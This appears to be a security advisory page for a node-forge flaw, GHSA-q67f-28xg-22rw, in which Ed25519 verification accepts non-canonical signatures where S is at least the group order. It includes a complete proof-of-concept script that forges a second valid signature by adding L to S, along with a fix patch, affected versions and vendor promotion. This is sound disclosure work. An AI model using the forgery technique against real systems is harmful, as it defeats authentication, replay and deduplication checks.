GHSA-q67f-28xg-22rw is a high-severity (CVSS 7.5) CWE-347 vulnerability in node-forge. A fix is available for node-forge — see the affected versions and patch details below.
Forge has signature forgery in Ed25519 due to missing S > L check
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-q67f-28xg-22rw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-q67f-28xg-22rw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
node-forgenpmDescription
Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (
ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
<details><summary>poc.js</summary>
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
</details>
Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {
Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
-
Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
-
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | node-forge | all versions | 1.4.0npm install node-forge@1.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for node-forge, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update node-forge to 1.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q67f-28xg-22rw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q67f-28xg-22rw can be triaged on real exposure rather than presence alone.
Tailored to GHSA-q67f-28xg-22rw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | automation-gateway-0:2.5.20260422-3.el8ap | RHSA-2026:24761 |
| Cluster Observability Operator 1.5.0 | cluster-observability-operator/logging-console-plugin-pf4-rhel9:1782839279 | RHSA-2026:34342 |
| Red Hat Developer Hub 1.8 | rhdh/rhdh-hub-rhel9:1776784286 | RHSA-2026:9742 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1777903262 | RHSA-2026:13826 |
Frequently Asked Questions
Is GHSA-q67f-28xg-22rw in your dependencies?
O3 Security finds GHSA-q67f-28xg-22rw across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.